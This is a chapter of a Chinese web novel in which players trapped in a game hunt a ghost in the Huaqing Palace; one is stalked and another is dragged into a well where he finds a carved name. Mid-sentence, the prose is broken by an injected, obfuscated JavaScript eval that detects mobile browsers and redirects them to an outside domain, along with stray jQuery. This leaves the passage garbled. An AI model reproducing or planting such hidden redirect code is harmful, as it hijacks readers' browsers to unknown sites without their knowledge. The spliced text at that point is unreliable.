“也是。”裴洛川叹了口气,“这一轮算我们倒霉,被分到这里,什么也做不了,只能等赴宴那天随机应变了。也不知道其他人都怎么样了,按理说都这么久了,该有情报递过来的。” 曲小蕨也皱起眉:“雕兄个头太大,传递情报很危险,这能理解。但是谢不若的鹦鹉怎么也没见踪影?” “不好说。”裴洛川沉思,“咱们的身份在边缘的边缘,已经几乎和主线剧情没什么关系了,上一轮可没有这样的情况。我在想,会不会大家都是这样,被角色所局限,因而才迟迟没有情报传出?” “仇非、祁云纵、李千驰、谢不若、唐逐星、陆厌。”曲小蕨挨个掰指头数,“你觉得他们哪个是会被角色局限住的?” “……这倒也是。”裴洛川失笑,“算了,走一步看一步吧,反正我们现在也做不了什么。不过说起来,你不觉得很奇怪吗?在浪客行的前几天里可从来没出现过这种情况,它给我们安排的每一条线索几乎都有用,根本不会随便丢出来这样帮不上什么忙的身份。” 裴洛川这话才是说到了点上,曲小蕨疯狂点头,她早就感觉到有力没处使的困窘了:“对对对,就是这样!我说实话,这几天我一直在研究这个身份到底有什么用,结果做了好几次尝试、鼻血都流了一吨,最后就发现它还真是什么用都没有,按理说这不可能啊?” “嗯,所以说,要么这些‘完全没用’的身份安排本身就是一种提示。”裴洛川道,“要么……这就不是浪客行给我们安排的身份。” “啥?”曲小蕨听懵了。 “你也知道,我们队第二天去的地图是绥梦山。”裴洛川慢慢道,整理着思路,“那张地图自带幻境,让我们以为自己还处在‘有间客栈’里。” 咚! 突如其来的声音把两人都吓了一跳,曲小蕨转头看去,却是她刚刚随手放在一边小桌上的茶杯突然倒了。 虽然杯中已经空了,但瓷器还是有些分量的,再加上此刻风也不大,这杯子还能莫名其妙地滚倒,就很奇怪。 不过她也顾不上了,随手又把杯子捡起来放好,继续转头问裴洛川:“然后呢?” 裴洛川也盯着杯子看了一会儿,确认没有任何异常、那真的只是个意外事件后,才道:“我们虽然已经在第五天待了这么久,却没有摸到它真正的内核,这和当时我在绥梦山的感觉很像。但不同的是,华清宫这张图给出了明确的规则,也就是说,我们找到鬼就可以结束这一切了,这么看来,它就算是幻境,也没有多大的影响……” 曲小蕨听得毛骨悚然。 她屏住呼吸,提出了一个疑问: “那假如说,连规则都是假的呢?” 裴洛川一笑:“我也想过,不过可能性不大就是了。你要想到,浪客行是一本书,这些地图都是书里记载的故事,这就像每个章节都在目录下面一样,它们也一定是在浪客行的规则统筹之下的;如果连规则都是假的,那我们也不用玩了。” “……可以呀。”曲小蕨对他肃然起敬,“没想到你这么聪明。” 这话裴洛川不爱听:“我平时看着很蠢么?” “倒也不是。”曲小蕨仔细想了想,“主要你平时都和李千驰叶九溪他们混在一起,多少是有点被同化了吧。” 听见这几个人的名字,裴洛川就想叹气;一想到梨园宴上自己还要女装进宫,他内心便越发地愁苦起来:到时候被那几个损友看到,一定会被活活笑死的。 “其实我觉得还蛮好看的,你是适合的。”曲小蕨一眼看穿他心中所想,憋着笑安慰道,“挺漂亮,嗯,挺漂亮。闲着也是闲着,要不然我给你化个妆?——啊、啊啾!” “虽然说华清宫里面四季如春,但冬天毕竟还是冬天,风是很凉的。” “是啊。不过按照我们现在的身体素质,估计从此也就告别感冒了。” 华清宫中区,嫔妃寝殿前,亓秀秀和龙葵一左一右站在阶下,趁近旁无人,偷偷聊天。 第二轮剧情开始以来,她们作为中区宫女,不是看护宫苑就是整理织物,既无暇脱身,又接触不到什么和剧情相关的事情,要不是凑巧分在了一起,恐怕真的要无聊死。 “也不知道是好事还是坏事……到时候我们离开了浪客行回到现实,如果还保留着这种身体素质,会不会被人抓去做研究啊。”亓秀秀道。 “那得多离谱啊,应该不能吧。”龙葵想了想,觉得那场面有点恐怖。她低头看了一眼自己的双手,轻轻握了握拳,能够感觉到身体中反馈回来的、充沛得像泉水喷涌一样的力量,但她的手看起来,就是这个年纪的女孩子常见的白皙纤长的模样,只在关节处有一层握惯了柳叶刀留下的薄茧,因为适应得很好,倒也不明显。 “虽然说不是很科学,但咱们现在经历的一切本来跟科学也不沾边儿啊。”她喃喃道,“难道是肌肉密度变大了么?这也超出正常人的水平忒多了。” “这么专业?”亓秀秀听她说话,来了兴趣,问,“你在现实中是学医的吗?” “嗯呢,和药宗还挺接近的。”龙葵笑道,“最符合人设的一集。” “诶……”亓秀秀却道,“你说,这游戏是按照什么标准挑人的?” “挑人的标准?”龙葵一愣,这个问题她之前也想过,但却很难得出答案,“随机的吧,我一直觉得咱们挺倒霉的来着。怎么,你发现什么了吗?” “也不是发现什么,我就是觉得有点巧。”亓秀秀也拿不准,犹疑道,“这么多天磨合下来,我感觉大家都挺符合本门派设定的,而且,咱们适应得未免也太好了吧,连进入游戏这种不科学的事情也很迅速地就接受了,像一般无限流小说里那种炮灰头铁死活不信又寻死觅活的剧情也没出现过……但这也不能说明什么,就是巧,太巧了。” 龙葵沉吟:“这样一说,确实很巧啊。” 他们到底是为什么会进入到这个世界之中呢?每个人都和自己的门派特征无比契合,又能飞快地适应现状,这是巧合吗? 风从回廊下穿过,带起几片零落的桃花。她抬头看了一眼苍白的日光,有一种背后发凉的感觉。 “这话题是咱俩该讨论的么?”她低声道,“这种话题一般都是解谜环节的核心部分吧,在大结局的时候突然揭晓并且反转的那种……咱俩现在就搁这儿聊这个,不会喜提炮灰身份吧。” 听龙葵这么一说,亓秀秀心里也犯起嘀咕:“有道理,要不这个话题就先打住吧——话说都这么久了,上一轮这时候,谢不若的鹦鹉都来了好几趟了,现在怎么连根羽毛都没见?” “是哦。”提到自己的队友,龙葵心里也十分没底。谢不若虽然平时看上去不太着调,但关键时刻一直挺靠谱的,眼下迟迟没能把情报传递出来,肯定是被什么绊住了脚。 但看着殿前时不时走过的皇宫卫队,她即使想到了这一点,也无法从规则的设定中脱身。 ——至于被大部分人惦记的谢不若,正如龙葵所料,的确碰到了一些麻烦。 “都逃到这里了……应该没再追了吧。” 他停下脚步,喘匀了气,在萋萋长草中隐藏好身形,这才扭头向身后望去。入目是华清宫的宫城,津阳门大开着,两旁巡逻侍卫来回穿梭,秩序井然,远远看过去,一副浩然恢弘的样子。 谢不若看着,脑子里便蹦出八个字来: 光天化日,朗朗乾坤。 明明是很恢弘正气的场景,但是他竟然撞鬼了,真是没有天理啊。 他啧了一声,干脆直接坐在地上,从小队背包里掏出食物来,也顾不上细嚼慢咽,一口咬掉大半块稻香饼,心中又是悲从中来:逃命太仓促,又怕引起NPC的注意,搞得鸟也丢了,人也流浪在宫外,真是倒了大霉。 “不过那个形象,看着倒是眼熟,到底是谁呢……” 他一边补充体力,一边冥思苦想。 究竟发生了什么,还要从第二轮剧情重启开始说起。 那时候,谢不若刚从眩晕中回过神来,正准备接受自己的新身份,却发现和之前一睁眼就在“岗位”上工作不同,这一次,他孤零零地站在宫城中,身边一个人也没有,好在鹦鹉倒是还在肩头。 没能第一时间获得信息,谢不若倒也不慌,自顾自低头打量起身上的衣服来。这次好歹不是女装了,不过看这再普通不过的布料和样式,看来这一轮剧情里他被分配到的身份并不显赫。 “这是准备往哪去呢?”他心里嘀咕道,打量四周,发现这是宫城中轴的一条偏道,专供宫人通行,但偏偏哪里也能去,任何地方都有可能是他本来的目的地,顿时感觉就好像站在了人生的十字路口一样,有些迷茫。 不过,他也没能迷茫太久,还在努力思考之时,耳朵就被鹦鹉狠狠地啄了一下。 谢不若吃痛,刚要问它在干什么,却忽然感觉到背后一僵,有种通电的感觉直冲大脑,正是危险袭来的信号。多少次生死关头锻炼出来的反应力让他猛地就地一滚,向前翻了出去,然而等他稳住身形,再回头看背后,却是一片空空荡荡,一切都很正常。 好在这会儿周围没什么人,并没有NPC看到他下意识的动作,但要是说真就什么也没发生,谢不若也是绝对不会信的。 他一边站起来,拍了拍衣服下摆的灰尘,一边问炸了毛的鹦鹉:“发生什么了?” “不知道!不知道!” 鹦鹉也是一脸懵。那一瞬间,它的确比谢不若更早地感知到了什么,浑身羽毛都炸开了,但那种危险的感觉来得快去得也快,也只是一刹那的事情。 谢不若看它的反应,不由得想到了一个说法——好像小动物比人更容易察觉到不干净的东西。联想到第五天华清宫中有“鬼”的存在,他的心里顿时打起小鼓来,抬头看了眼太阳,咋舌道:“不是吧……这还是白天呢。” 白天也好,晚上也罢,出了这种意外,他总归是不敢在这里多停留,虽然不知道应该往哪儿去,但起码得先离开这里。然而刚一迈步,谢不若就感觉到肩膀有些不对劲,似乎格外沉重,有一种睡麻了的感觉。他心头一肃,立刻扯开衣领偏头去看,余光便看到肩膀上竟然有几道青痕,有深有浅,最深的痕迹已经有些接近乌黑了。 最令谢不若惊讶的是,那几道乌青,竟然怎么看怎么像一只搭上来的手,只是好似刚碰到他的肩膀,还没来得及完全落下,就被他躲开了,因此只留下了指尖的痕迹。 “我去!”谢不若脱口而出,“真见鬼了!” 他活动了一下肩膀,从关节处传来类似于冻僵的感觉,好在这种感觉并不严重,已经渐渐散去了。但谢不若无比确定,刚刚那不知道是不是“鬼”的东西并没能将手搭在他的肩膀上,最多只是隔着衣服刚刚碰到;只是这样,依然留下了如此清晰的指痕,看来这东西的危险性实在是不容小觑。 第二轮刚上来就动真格的? 谢不若单手背在身后,随时准备从小队背包里抽出刀来,调整呼吸,慢慢地往前走。 他上一轮剧情在六尚局中待了很长时间,对中区是了若指掌,但其他区域却并不怎么熟悉。华清宫何其之大,他一时间并不能判断出自己到底在哪里,只能根据直觉随便挑选了一条路,一边走,一边谨慎地观察着四周。 宫道蜿蜒向前,时而变作穿过芳丛的石径,时而又成了横在水面的汀步。他似乎走到了平常没有什么人会来的地方,看上去像是温泉景观区,风景倒是不错,有零散的宫人在远处馆阁前头也不抬地扫着地,也不知道有没有看到他。 不然,先去和NPC套个话,看看自己应该属于什么部门? 谢不若刚要朝那些宫人走过去,脚步却突然一顿。 那种头皮发麻的感觉又来了,他迅速转身,但身后却依然什么都没有。 呼…… 一阵风卷着零落的花瓣吹过,花格墙后的树冠横斜,在路上投下连片错落的阴影。 捕捉不到行踪的“鬼”、隐藏在暗处的人机队伍、目前还没能联系上的队友、不知何时会发难的NPC,再加上眼前华丽却寥落的行宫景色,冬日的凉风这么一吹,中式恐怖的氛围感一下子就起来了,他肩膀上的鹦鹉已然成了个炸开的小球,很没出息地将头埋在了翅膀底下。 其实别说鹦鹉了,谢不若也心里发慌,这要是堂堂正正在没有限制的情况下,来一万个鬼他也敢抽出绝地天通刀对打一场,但怕就怕的是它故弄玄虚,搞看不见、摸不着的这一出。 危险的感觉依然存在,前面恰好有处回廊,是远处宫人的视觉死角;谢不若快步向前,后背靠在墙上,从背包里将横刀抽出双手握住,缓缓平举在身前,深呼吸,微微闭眼,细细地感受着周围的风吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691197|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草动。 在极度戒备的情况下,人的感官就会变得格外敏锐。他能感觉到风吹过草丛的窸窣摇曳,听得出温泉水面极轻的涟漪,甚至能听到有人在很远的地方走动与交谈,但就是这种极度安谧的氛围下,谢不若握着刀的双手却越发用力。 他睁开眼,眸光锐利,扫视着面前的景象,额头已经有冷汗沁出。 到底在哪? 一秒……五秒…… 起码半分钟过去了,他没有发现任何奇怪的地方。也许那个“鬼”刚刚确实想对他下手,但发现他有所察觉后便选择了离开。谢不若缓缓吐出一口气,想到绝地天通刀拿在手里太过惹眼,准备先把刀收回小队背包。 然而,刀却收不回去了。 谢不若低头,惊讶地看着自己的手。 ——不是他不想收回刀,而是他的双手还保持着紧握刀柄的状态,就这样僵在了那里。更准确地说,他的半身都已经麻痹了,好像被什么无形的东西锁住了一样,一种阴冷的感觉凭空出现,顺着他的后背丝丝缕缕地缠绕了上来,紧接着,一双冰凉冰凉的手,自墙上的花窗镂空中伸出,轻轻地搭上了他的肩膀。 “哎,你看,那边是不是有扇门没关?” 另一边,正在扫地的宫人抬起头,远远就看到回廊拐角处的屋门开了一条缝。 “那边不是打扫过了么?那时候没锁好门吧。”旁边正在除尘的杂役道,有点不耐烦地扔下笤帚,“我去锁上。” 在他们看不到的回廊另一头,谢不若咬紧牙关,正在努力和身后的巨力抗争。他用余光能看到肩上惨白的鬼手,手指纤长,但力气大得出奇,几乎要深深扣进他的肩膀里,谢不若被它扯着,身不由己地向后退去,眼看就要被拖进门中。 现下是白天,从这间屋子的门缝中瞧进去,却是一片黑暗,显然很不正常。 这要是被拖进去,估计就凉透了……谢不若一阵恶寒,用尽全身力气去对抗突破那种阴冷的桎梏,眼看着半个身子都要被拖进门里,耳边却听到了有人逐渐接近的脚步声。 也就是在这时,那种力量忽然出现了一丝松动,谢不若回过神来,抓住机会,反夺回身体的控制权,一声怒喝,回身便劈向身后鬼手! 这是生死攸关的一击,谢不若并没有因为怕被NPC发现而收力,然而,在滔天的刀光中,他只看到身后苍白的影子一闪而过,迅速地隐没在了门后的黑暗之中。 收势已来不及,只听轰隆一声巨响,这一刀将大门连同半边木窗一同斩破,灰尘弥漫,正往这边过来的NPC估计也是傻了眼,大骂一声见鬼,紧接着就是许多杂乱的脚步声一同响了起来,不少人跑了过来。 确实是见鬼了,谢不若心道,也不多留,将刀收了回去,拖着还有些不听使唤的身体翻过矮墙,飞快地离开了现场。 肩膀上这会儿是留下了再清晰不过的掌印,再深一点,就要变成十个血洞了。但谢不若也是天生心大,刚刚从鬼门关走了一圈回来,竟然不觉得后怕,还顾得上边跑边回忆刚刚电光石火间扫到的那个鬼影,越想便越觉得,那个鬼气森森的形象竟然有几分眼熟。 虽然那鬼影大半部分身子都隐没在黑暗之中,但他还是瞥见了一眼的,这一眼就能让谢不若确定,他对这个“鬼”的确有一种熟悉感,甚至,这东西还极有可能是他认识的人,只是他们并没有熟到一眼就能认出的程度。 想到这一点,谢不若才是真正出了一身冷汗。 “鬼”是玩家? “鬼”是夺走了玩家的身份,还是他们之中有人死了,变成了“鬼”? 但是他那时候还不知道,这只是一个开始—— 在柳七刀等人夜探梨园的时候,谢不若在被鬼追。 在柳七刀去讲武殿试图寻找仇非的时候,谢不若在被鬼追。 在兰瑾和叶九溪对峙的时候,谢不若在被鬼追。 到了今早,在亓秀秀和龙葵聊剧情的时候,谢不若还在被鬼追。 眼下已经是新的一天了,他可以说是连夜逃出了华清宫,一刻也待不下去。而鹦鹉则是有一次逃命时差点被值夜的金吾卫发现,属于是大难临头各自飞了,目前还没找回来。 谢不若瘫倒在地,愤愤地想,他是犯了天条么? 不过好在,这些天的追杀也不是白被追的,还真让他从其中发现了一些也许有用的情报。 第一,鬼明显不怕太阳,但还是在阴暗之处力量更强。它有实体,虽然可以消失,却并不能穿墙而过,而且,它似乎也不能直接在阳光下杀死玩家,总是想方设法地想把他拖进见不到日光的角落里下手。 第二,鬼的力量时强时弱,像刚进入第二轮时遇到的那一次袭击,谢不若几乎完全无法反抗,但后面几次袭击强度却并没有那么高,似乎有什么别的事情让它分走了力量一样。 第三,鬼并不是时刻都在追杀他。虽然谢不若能够肯定,这鬼对自己出手的频率已经十分离谱了,但还是给他留了不少喘息的空间,不然他连着这么久不眠不休保持警惕,恐怕自己会先崩溃掉。不过,鬼这么做的原因谢不若目前还不清楚——总不能是鬼也要上班、下了班才有空追他吧? 第四,也是最重要的一点,鬼似乎也不想被NPC发现。 规则里并没有提到鬼受NPC限制的这一点,谢不若本来更倾向于鬼是不受限的——毕竟它都做鬼了,还怕人吗? 但这几天来,每次他闹出大动静,鬼都会立刻放弃对他的追杀,这和玩家们不能被NPC抓OOC现行还不太一样;谢不若隐隐有种直觉,鬼不是不能被发现,而是不想被发现,但目前他想还不明白,这二者之间有什么不同。 不过,鬼对玩家们应该也是比较熟悉的,起码把他们的情报摸透了。第二轮剧情以来,他被这个阴魂不散的鬼追得上蹿下跳,为了躲开NPC的耳目可谓是绞尽脑汁、吃尽了苦头,但愣是一个同伴都没见到,就好像鬼有意在割裂他们一样。 想到这里,谢不若翻了个身,感受着阳光洒落在身上,打了个哈欠。 津阳门外四野空旷,他又专门找了个树木稀疏的地方,就是为了防止鬼再度下手,但巧合一样的,自他逃出华清宫以来,目前还没有再遭到过袭击。 这也不错,总算是能睡个好觉了。 谢不若这么想着,拖着疲惫的身躯,也没敢走有宫人打扫和金吾卫巡视的大路,寻了条小路,找了个宫门外的山坡爬了上去,一屁股坐下,看着华清宫发呆,想着自己的傻鸟什么时候能找回来。 便是在这个时候,他看到宫城内有一道人影正在迅速往外移动着,身形很是灵活,敏捷地避开了所有巡视的侍卫。 那个跑姿怎么看怎么熟悉,谢不若揉揉眼睛,一个激灵,认出了来人。 那是柳七刀啊! 谢不若从地上弹起来,撒腿就往回跑,然而,他刚一步踏进华清宫宫城范围,那种熟悉的阴冷感又回来了。 “神经病啊!”他终于忍不住骂出了声,眼睁睁看着柳七刀的背影贴着墙边溜去了讲武殿的方向,只得朝天比了个中指,脚下紧急转向,又朝宫城外逃去,“别让我把你抓出来!” 50. 第五天·华清宫(五十) 今天的讲武殿和昨天一样冷清,只有零星几个轮值歇息的人在房中。柳七刀环顾四周,确定没有NPC在附近,便目标明确地朝着院落正中走去。要想查明白他心中的疑惑,现在就是唯一的机会;等下午天子车驾一到,讲武殿立刻便会住满武将,到那时,想这么轻松地混进来几乎就是不可能的事情了。 再探讲武殿,是他昨晚和李千驰商量后的结果。那时候,他明明火急火燎地去找了李千驰,但等真找到人时却突然脑袋一懵,一瞬间竟然不知道自己要说什么。 “我找你是来干嘛的?”他问。 李千驰比他还莫名其妙:“你来找我,还问我你是来干嘛的?” 柳七刀一头雾水。他隐约记得自己有什么重要的事情需要抓紧确定,但那件事就像毫不起眼的灰尘一样,被一只看不见的手轻轻地拂去了。他摸了摸额头,又问李千驰:“那咱们刚刚在聊什么话题来着?” “咱们四个昨晚去梨园的事情。”李千驰道,“对了,我还想问你来着,你在讲武殿找到仇非了吗?” 讲武殿,听到这三个字,柳七刀一愣,心里那种忘掉了什么事情的感觉愈发浓重起来。 “没找到仇非,但是碰到唐逐星了,他跟我分享了一些情报……”他说着,把唐逐星查到的事情都转述给李千驰,但尽数讲完之后,那种莫名其妙的焦虑并没有消失,似乎他在意的并不是这些事情。 “你脸色很不好啊。”李千驰看他冷汗都快下来了,安慰道,“先别急,从头捋一下,总能想起来的。” 从头捋?柳七刀想了半天,只能想起来他在讲武殿碰到了唐逐星;他们好像还因为什么事情争论起来了,但他却一点也想不起来那是什么事。 “……你说,我是不是得回讲武殿一趟。”他说,虽然是问句,但内心已经下定了结论。 这其实是个不太明智的选择,讲武殿这个地图已经被他们探索得差不多了,在这种没有明确目的的情况下再度回返,不单是浪费时间,被NPC发现擅离职守的风险也会增加。他想着李千驰可能会阻拦一下,但对方只是歪歪头,拍了拍他的肩膀:“行吧,让你这么在意的事情肯定很重要,我支持你去查个水落石出!” 柳七刀被他拍得趔趄了一下,大为感动:“好兄弟,你懂我!” “我只是觉得千万不能放过任何不对劲的地方。”李千驰正色道,看上去竟然是一副深谋远虑的模样,柳七刀顿时对他的印象大为改观,但紧接着便听到他补充:“因为电视剧里一般都这么演。” “……” 时间回到当下,柳七刀站在院落中打量四周,自己也很茫然。 他根本不知道回讲武殿来是要做什么,昨晚跟李千驰商量得虽好,但等他真站在这了,又觉得自己很好笑,竟然因为虚无缥缈的预感就敢冒着被NPC发现的风险白跑一趟。 最重要的是,他并没有发现他想找到的异常,这里的一切都和昨天他来的时候没什么变化,除了院落里干净一些,几乎别无二致。 如果说有什么特别值得令人注意的地方…… 他的目光缓缓转向了院子中央的那口井。 这口井上面盖着竹幂,竹幂上还压着一块看上去就十分沉重的石头。柳七刀抬手,将那块石头抱下来放在一边的草丛中,余光发现这些草的根部有被压过的痕迹,似乎有什么人在这里驻足过。 上次他们并没有发现这些细节,他的心跳渐渐变快了起来,伸手去拿盖在井上的竹幂。 竹幂倒是很轻,几乎不费什么力气就摘下来了,柳七刀做好心理准备,硬着头皮,探头去看这口水井。 ——曾经看过的恐怖片非常不合时宜地刷起了存在感,他在脑海中幻想了不下数十种恐怖的画面,每一种都值得打满全屏马赛克。然而出乎意料的是,这确实只是一口普通的水井,井壁的石缝里生了些青苔和水草,井底虽然黝黑无光,但整口井并不算太深,也不可能藏得下什么东西。 又猜错了,但柳七刀莫名其妙地松了口气,紧绷的神经也放松下来,天知道他多么害怕在掀开竹幂的一瞬间发现井里泡着个人,还好只是他想多了。 他弯腰去捡地上的石块,准备把水井复原,但就在转身的一刹那,一股巨力突然从身后袭来,柳七刀根本没来得及反应,后腰一疼,竟然被拉得倒退两步,直直地撞上了水井边缘! 他心下大骇,想反手去拿新亭侯,但不知为何身体却僵硬无比,用尽全力也无法移动半分。余光中,他瞥见自己的肩膀上竟然搭着一只手,这只手看起来十分纤长,但惨白不似活人,那种身不由己的僵硬感就是从被它碰到的地方扩散开来的。 有鬼!有鬼!有鬼啊! 如果能张开嘴,柳七刀现在一定已经喊出声了,但是他的身体已经完全不受控制,上半身悬空,被这双鬼手拉着一点点往水井里栽倒过去。 大事不妙!它是想把自己拉下水井溺死吗? 这个念头刚刚产生,他就被拉着翻过了水井。 噗通! 带着淡淡腥臭的井水涌入口鼻,视野里,天光迅速收拢,隔着飞溅的水花,变成井口窄窄的一片光斑。他被死死地抓住继续下沉,但这口并不深的井似乎没有底一样,井口肉眼可见地离他越来越远。 被抓住的那一刻,柳七刀的思绪本来无比纷杂,比如他为什么没有察觉到鬼的接近,该怎么突破限制取回身体的自主权;诸多念头充斥着他的大脑,让他完全没有办法冷静下来思考,但双脚离地的一瞬间,柳七刀感觉自己脑海里一直紧绷的一根弦忽然断了,在被水模糊的视线中,一切似乎都变成了慢动作,脑海中嗡嗡的声音也消失了,可怕的冷静占据了上风。 身体被麻痹了,首先要突破这个限制。他凭借肌肉记忆咬住舌尖,但麻木的机体没有知觉反馈,也感受不到自己是否在用力,直到眼前突然弥漫开一股鲜红的水雾,从舌尖处传来的剧痛才猛地炸开! 这股疼痛像一根针一样顺着天灵盖扎了下去,对身体的禁锢顿时放松了几分,柳七刀敏锐地捕捉到了这个机会,反手将新亭侯从小队背包中抽出。 即使这种时候,他的大脑里依然一片空白,好像思维和身体已经完全脱离,有另一个自己正在无比冷静地看着自己的行动,下着绝对正确的指令。 鬼手似乎察觉到不妙,刚要用力将他按下去,下一刻,一道闪着幽微紫光的刀气就已经横亘在面前,将它隔绝在井底,而刚刚还无法反抗的柳七刀已经脱离了控制,迅速向井口浮去。 哗啦一声,柳七刀探出水面,先狠狠地吸了一口气,这才感觉自己两眼发黑,头晕目眩,恐怕再晚一秒就要憋死了。他顾不上别的,先警惕地朝水里看去,借着天光,井底一览无余,之前的鬼似乎是发现难再得手,已经不见踪影。 他握着新亭侯的手还在因为麻痹和缺氧而微微颤抖,在心里默念了几遍这个招式的名字。 封渊震煞…… 还真是应景。 “刚刚是什么声音?” “你也听到了?” 院子的另一边,忽然远远地传来交谈声。 刚刚闹出的动静太大,惊动了讲武殿中的人,要赶紧离开了。柳七刀抬头看向离水面还有一定距离的井口,伸手摸了摸井壁。湿滑的石壁上长满了青苔,几乎无处着力,他用新亭侯撬住石缝做支撑,一点一点艰难地扒上了井口。 “是院里的声音吧,找人去看看。” 听到这句话,柳七刀的精神有一瞬间的紧绷,还好另一个人回答道:"可能是什么东西掉了吧,不要管它了,抓紧去津阳门迎接陛下的车驾。” 原来不觉间已是午后,唐玄宗的车队就要抵达华清宫了。 交谈的二人似乎就在院落的另一边,现在出去的话,极有可能被发现,更糟糕的是,这些人虽然嘴上说着要去迎驾,但他们还在说话,并没有立刻离开。柳七刀双手扒住井口,不敢露头,静静地听着;他之前被鬼碰到过的肩膀还在隐隐作痛,身体也依然僵硬,还好华清宫是一座温泉行宫,泡在井水里倒也不会觉得太冷,但体力还是不可避免地在渐渐流失。 “走吧,会有人来收拾的,马上要封殿清人了,那时候若你我误了迎驾的时辰,再解释起来可就麻烦了。” “可我总觉得那动静奇怪,不如你先走一步,等我去查验过了就来。” 封殿、清人,上一轮剧情里并没有这回事,但但柳七刀做过金吾卫,知道这代表着很快讲武殿也要被金吾卫接管、彻查严守起来了,看来是这段时间里人机和玩家搞出来的动静太大,让剧情也有了变化。 他本来打算趁那人还未过来时马上翻出井口遁走的,但现在不仅没有立刻离开,反而深吸一口气,下沉到井水中,在岩壁上细细摸索了起来。 之前一片混乱中,他隐约摸到井里似乎有一些奇特的划痕,纵横有序,不像是天然形成的。现在不查明怎么回事,恐怕后面就真的没有合适的时机了,想到这里,柳七刀心一横,不顾可能被发现的危险,硬着头皮在记忆中的地方细细一寸一寸地摸索过去,果然在湿滑的青苔中摸到了几处被剐蹭过的痕迹。 他将手掌贴了上去,仔细辨别,顿时心跳如擂鼓——这些划痕的走向,有撇有捺,竟然是一些被刻在井壁上的文字。 痕迹很潦草,似乎是情急之中刻下的,没有被青苔覆盖的地方划痕更是断断续续,浅得几乎无法辨别,显然,留下这些字的人并没有趁手的工具。柳七刀一边摸索,一边在脑海里拼字,猜测着缺失部分的笔画,耳朵里听到有人靠近的脚步声,憋着一口气,又往下沉了沉。 竖、横折钩……横、横、横…… 意识到那是什么字的瞬间,柳七刀的后脑勺一麻,内心惊骇无比,下意识吸了口冷气,却忘了自己还沉在井底,鼻腔中顿时灌满了井水。 完蛋! 脑袋憋得发昏,肺里火辣辣的疼,他迅速往井口浮去,也顾不上什么NPC了。只是快接近井口的时候,他身子一轻,竟然被一股力量拽了上去。 “你在干什么?” 听到这声音,柳七刀就松了口气。他爬起来,一边往外吐水,一边摆摆手,示意对方赶紧走。 唐逐星收起子母飞爪,把地上昏迷不醒的NPC翻了个身,轻车熟路地在对方后衣领里摸索了一番,手里便多了枚迷神钉,简单擦拭过后又收回千机匣。 他一把拉起两腿沉得像灌了铅的柳七刀,先退出了小院,找了处屋后的隐蔽角落坐下,又用沙土处理掉一路上留下的水渍,做完这些才无语道: “NPC来了都不跑,你脑壳有包?” 柳七刀这会儿也差不多缓过来了,他伸手在自己脸侧一抹,手上全是被水冲淡的血渍。听到唐逐星这么说,他也有点心虚,想想刚才的确是托大了些,不过他知道唐逐星就在这附近,听到动静一定会过来查看,这才敢冒险留在井里的。 眼下倒也顾不上解释,柳七刀有更大的发现要和他讲:“刚刚那口井……” 他开了口才感觉到疼,之前咬破舌头的时候太用力,满嘴都是浓郁的血腥味:“刚刚那口井的石壁上有字,我摸出来了!” 唐逐星神色一肃:“什么字?” 柳七刀刚要告诉他,忽然又想到了在井底时那种阴冷可怖的感觉,总感觉有人盯着他似的,不由得打了个寒噤,干脆伸手蘸了点水在地上匆匆写下两个字。 “虽然缺了点笔画……但是我确定,就是这两个字没错。”他说,转头看了一眼唐逐星,对方的表情和他刚摸出这些字的时候差不多,堪称瞳孔地震。 “她?”唐逐星喃喃道。 两个人一起默默注视着水渍在日光和冷风中渐渐淡去,最后沁入土地,消失不见。 “她在哪里,你知道么?”柳七刀问他。 “……梨园。”唐逐星说,遥遥看向宫城之内,桃花枝伸出了鸳鸯瓦,簌簌地向下掉着花瓣,“这个位置,和上一轮一样,没变。” 柳七刀偏过头,看了一眼自己的肩膀。杂役的衣服质量不太行,单薄简陋,鬼手轻而易举地就穿透了它,留下了乌黑的几枚指印,不得不说,看到它的时候,柳七刀就明白,小说里经常描述的“泛着一股死气”到底是一种什么状态了。 他回想那只搭在肩膀上的手,尽管惨白可怖,但五指纤细而修长,确实能看出来,是女子的手,而鬼手隐约露出的袖口的花纹,的确也和琴师的装束十分相似。 ——师襄。 井壁上留下的刻痕,是师襄的名字。 师襄的名字绝不可能凭空出现在一口井里,况且,这里还是柳七刀一直莫名其妙在意、想要回来重新看看的地方。目前,他只想到了两种可能: 第一,师襄被鬼袭击了,鬼夺走了她的身份,而师襄本人在最后关头留下了给其他玩家的提示,让他们对“自己”有所警惕; 第二,师襄就是鬼,像袭击柳七刀那样,她在这里还袭击过其他人,而那个人辨认出了她,留下了这条线索。 无论是哪种情况,起码现在留在梨园里的“师襄”,身份都算不上好。 “得赶紧告诉其他人!”柳七刀道,一个鲤鱼打挺从地上跳起来,晒了这么一会儿太阳,他感觉力气又恢复了不少,“如果师襄就是我们要找的‘鬼’,那放着她在宫里活动太危险了!” “不得行,恐怕我们现在进不去了。”唐逐星却示意他向不远处津阳门看去。 此刻时辰正好,宫门大开,车马辘辘之声逐渐接近,再远一些的地方,井然有序的队伍像一条长龙,在骊山的步道上游弋前进,当先就是华盖高悬的龙辇 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而列位坐部琵琶乐工一队之首的乐师,正是师襄。 她低垂着眼,怀抱琵琶,仪态端正,像刚从仕女图中走出来一般,看起来沉静而庄肃,要不是一根桃花枝绾起黑发,依稀还是雪河长歌的模样,实在是看不出她与四周的NPC有什么区别。 鹦鹉再聪明,到底也不是人,摸不准纪空山在想什么,纠结一番,实话实说:“是!” “好。”纪空山一颔首,“上一轮剧情里,她和你们接触得多么?” “不知道!”鹦鹉小脖一缩,重复一遍,以增强可信程度,“真不知道!” “听阿乐说,你的主人上一轮剧情里是六尚局的宫正,也没少支使你在华清宫中来去……”纪空山沉吟道,“若你都不知道,那她与大多数人的接触,应该也算不上多了。” 她看了一眼手中的鹦鹉,鹦鹉也歪着头看她,豆豆眼黑漆漆的,很是可爱。 “算了。”纪空山叹了口气,手一松,还替它理了理蓬乱的羽毛,淡淡笑道,“找你主人去吧。” 